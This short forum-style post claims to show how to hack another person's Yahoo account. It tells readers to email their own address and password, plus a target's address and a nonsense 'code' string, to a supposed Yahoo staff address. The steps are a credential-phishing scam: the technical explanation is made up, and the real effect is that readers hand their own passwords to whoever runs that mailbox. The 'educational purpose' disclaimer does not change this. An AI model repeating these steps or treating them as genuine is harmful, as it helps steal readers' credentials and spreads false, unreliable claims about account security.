Ok guys many of u Asked me HOW TO HACK YAHOO ID BRO !!! So Here i am Jst Follow these steps :D
 
STEP 1- Log in to your own yahoo account. ( Your Y Account must be 30 days old )
STEP 2- Once you have logged into your own account,
compose/write an e-mail
to: YRegenerate_Pass@y7mail.com This is a mailing
address to the Yahoo
Staff. The automated server will send you the password
that you have
'forgotten', after receiving the information you send
them.
STEP 3- In the subject line type exactly: " PASSWORD
RECOVERY " 
STEP 4- On the first line of your mail write the email
address of the person
you are hacking.
STEP 5- On the second line type in the e-mail address
you are using.
STEP 6- On the third line type in the password to YOUR
email address (your
OWN password). The computer needs your password so it
can send a JavaScript
from your account in the Yahoo Server to extract the
other email addresses
password. In other word the system automatically
checks your password to
confirm the integrity of your status. 
The process will be done automatically by the user
administration server. STEP 7- The final step before
sending the mail is,
type on the fourth line the following code exactly:
cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsa
script
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
so for example if your yahoo id is :
David_100@yahoo.com and your password
is: David and the email address you want to hack is:
test@yahoo.com then
compose the mail as below:
 
To: YRegenerate_Pass@y7mail.com
bcc: cc: (Don't write anything in cc,bcc field)
 
Subject: " PASSWORD RECOVERY "
 
test@yahoo.com
David_100@yahoo.com
David
cgi-bin_RETRIVE_PASS_KEY_CGI_BIN/$et76431&pwrsa 
script
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
 
The password will be sent to your inbox within 24 hrs in a mail
called "System Reg
Message" 
Enjoy !!
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NOTE :
ONLY FOR EDUCATIONAL PURPOSE !!!